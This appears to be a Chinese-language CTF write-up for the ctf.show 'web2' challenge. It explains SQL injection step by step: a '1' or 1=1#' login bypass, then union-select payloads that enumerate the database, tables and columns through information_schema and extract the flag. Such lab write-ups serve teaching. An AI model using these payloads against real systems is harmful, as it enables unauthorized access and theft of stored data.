ctf.show_web2
题目进来是这样的一个网页,这里我们要知道一个知识点,sql注入是关于数据库的一种漏洞所产生的,而对于一般判断登陆时。看下这篇文章你会有一个基础概念。
SQL注入(一)—— sql手动注入实操_Genevieve_xiao的博客-CSDN博客
1' or 1=1# 万能试金石
因此你输入进去你会发现会变成 select *from user where id='1' or 1=1#'
那么就可以满足后面1=1永远成立,那么就会返回true,就能正确登录,#是注释所以后面全部可以不看。1后面的’与前面‘进行闭合,有些是分字符型和数字型的,做多了你自己就可以发现。所以,这登录存在了sql漏洞,我们能用联合语句进行查询数据库操作,需要数据库知识,请提前学习。
第一步, 判断注入点
用户名输入以上payload, 使SQL恒成立, 这里密码不用输,因为它为了简单只需要账户就行,但正常生活中肯定不是这样的,这里就是提供一个思路。
这里首先我们要知道表名,要知道有哪些表,找到密码储存的地方。
所以首先来一个脱库
获取当前使用的数据库, 盲猜flag就在当前使用的数据库中, 用户名输入以下payload, 密码不用输
a' union select 1,database(),3 #
这个为什么是三个,这个就需要用 ' or 1=1 order by 3#来进行判断
order by是mysql中对查询数据进行排序的方法,也可以通过是否回显判断有几个
然后执行payload后出现
web2就是当前数据库
2.获取数据库web2中的表
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#
3.获取表flag中的字段, 很明显flag就在flag表中
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag' ),3#
4.获取表flag中的字段, 很明显flag就在flag表中
a' union select 1,(select flag from flag),3 #
得到flag